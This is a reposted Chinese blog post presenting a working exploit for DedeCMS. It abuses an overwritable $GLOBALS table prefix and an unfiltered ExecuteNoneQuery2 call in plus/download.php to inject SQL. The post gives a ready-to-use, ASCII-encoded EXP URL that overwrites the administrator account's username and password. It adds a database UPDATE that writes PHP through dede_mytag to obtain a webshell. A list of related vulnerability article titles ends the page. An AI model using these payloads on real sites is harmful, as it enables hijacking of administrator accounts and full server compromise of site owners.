dedecms最新版本修改任意管理員漏洞
http://www.unhonker.com/bug/1272.html
此漏洞無視gpc轉義,過80sec注入防禦。
補充下,不用擔心後臺找不到。這只是一個demo,都能修改任意資料庫了,還怕拿不到SHELL?
起因是全域性變數$GLOBALS可以被任意修改,隨便看了下,漏洞一堆,我只找了一處。
include /dedesql. class .php
if (isset( $GLOBALS [ `arrs1` ]))
{ $v1 = $v2 = `` ;
for ( $i =0;isset( $arrs1 [ $i ]); $i ++)
{
$v1 .= chr ( $arrs1 [ $i ]);
}
for ( $i =0;isset( $arrs2 [ $i ]); $i ++)
{
$v2 .= chr ( $arrs2 [ $i ]); //解碼ascii
}
$GLOBALS [ $v1 ] .= $v2 ; //注意這裡不是覆蓋,是+
} function SetQuery( $sql )
{
$prefix = "#@__" ;
$sql = str_replace ( $prefix , $GLOBALS [ `cfg_dbprefix` ], $sql ); //看到這裡無話可說,不明白為什麼要這樣做。
$this ->queryString = $sql ;
}
|
另外說下繞過80sec防注入的方法。
同一檔案中,有兩個執行SQL的函式。ExecuteNoneQuery和ExecuteNoneQuery2
而用ExecuteNoneQuery2執行SQL並沒有防注入,於是隨便找個用ExecuteNoneQuery2執行的檔案。
plus/download.php
else
( $open ==1)
{ $id = isset( $id ) && is_numeric ( $id ) $id : 0;
$link = base64_decode (urldecode( $link ));
$hash = md5( $link );
//這裡的#@_是可以控制的 $rs = $dsql ->ExecuteNoneQuery2( "UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash=`$hash` " );
if ( $rs ExecNoneQuery( $query );
}
header( "location:$link" );
exit ();
} |
構造SQL語句 (提交的時候用ascii加密,程式會幫我們自動解密的,所以無視gpc):
admin` SET `userid`=`spider`, `pwd`=`f297a57a5a743894a0e4` where id=1 #
完整SQL語句:
UPDATE `dede_admin` SET `userid`=`spider`, `pwd`=`f297a57a5a743894a0e4` where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash=`$hash`
EXP:
http: //localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
|
如果不出問題,後臺登入使用者spider密碼admin
漏洞真的不止一處,各種包含,遠端程式碼執行,很多,列位慢慢研究。
如果找不到後臺,參見以前修改資料庫直接拿SHELL的方法
UPDATE `dede_mytag` SET `normbody` = `{dede:php}file_put_contents(“spider.php“,““);{/dede:php}` WHERE `aid` =1 LIMIT 1 ;
轉自:https://www.t00ls.net/thread-23071-1-1.html
轉載文章請註明,轉載自:小馬`s Blog http://www.i0day.com
相關文章
- DedeCMS最新版(20180109)任意使用者密碼修改漏洞分析密碼
- DeDeCMS v5.7 密碼修改漏洞分析密碼
- DedeCMS最新通殺注入(buy_action.php)漏洞分析PHP
- 如何修改Dedecms網站,Dedecms網站修改指南網站
- VMwareMac版本漏洞可任意執行惡意程式碼REMMac
- dedecms模板怎麼修改
- dedecms網站模板在哪裡修改,如何在DedeCMS中修改網站模板網站
- Windows 10最新零日漏洞:可導致任意檔案被覆寫Windows
- DedeCMS後臺管理員密碼忘記的解決方法密碼
- 解決織夢dedecms管理員後臺提示404錯誤
- JEEVMS倉庫管理系統任意檔案讀取漏洞
- dedecms網站模板內容修改?網站
- gitlab修改預設的管理員郵箱Gitlab
- 修改Jenkins預設管理員admin密碼Jenkins密碼
- 關於DedeCMS版本號的說明
- DedeCMS網站系統管理員帳號密碼忘記了怎麼辦網站密碼
- 【工具推薦】TomcatWeakPassChecker v2.2(最新版本) - Tomcat 漏洞一鍵漏洞利用getshellTomcat
- 網站漏洞修復案例之Discuz!3.4最新版本網站
- 任意檔案上傳漏洞修復
- Vmware Vcenter 任意檔案讀取漏洞
- dedeCMS 編輯文件後權重無法修改
- EduCoin智慧合約transferFrom任意轉賬漏洞
- 新型任意檔案讀取漏洞的研究
- phpcmsv9.0任意上傳漏洞PHP
- 宏景HCM 任意檔案讀取漏洞
- 如何修改DedeCMS的安全敏感字元攔截規則?字元
- Laravel 全域性記錄管理員的所有操作(Gist 版本)Laravel
- 文字檔案上傳漏洞[任意.繞過.解析]
- WordPress4.6任意命令執行漏洞
- LVS精益價值管理系統DownLoad.aspx存在任意檔案讀取漏洞
- win10 1909如何更改管理員名稱_win10 1909怎麼修改管理員賬戶名稱Win10
- pe如何清除win10管理員密碼_win10系統pe修改管理員密碼的方法Win10密碼
- 來回修改的文件,怎麼檢視、管理歷史版本?
- Linux伺服器漏洞防護 可SUDO提權到管理員Linux伺服器
- win10修改管理員名稱怎麼改名_win10本地賬戶管理員改名如何操作Win10
- linux伺服器修改root管理員密碼-雲伺服器Linux伺服器密碼
- Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)
- WordPress4.9最新版本網站安全漏洞詳情與修復網站
- MongoDB最新4.2.7版本三分片叢集修改IP實操演練MongoDB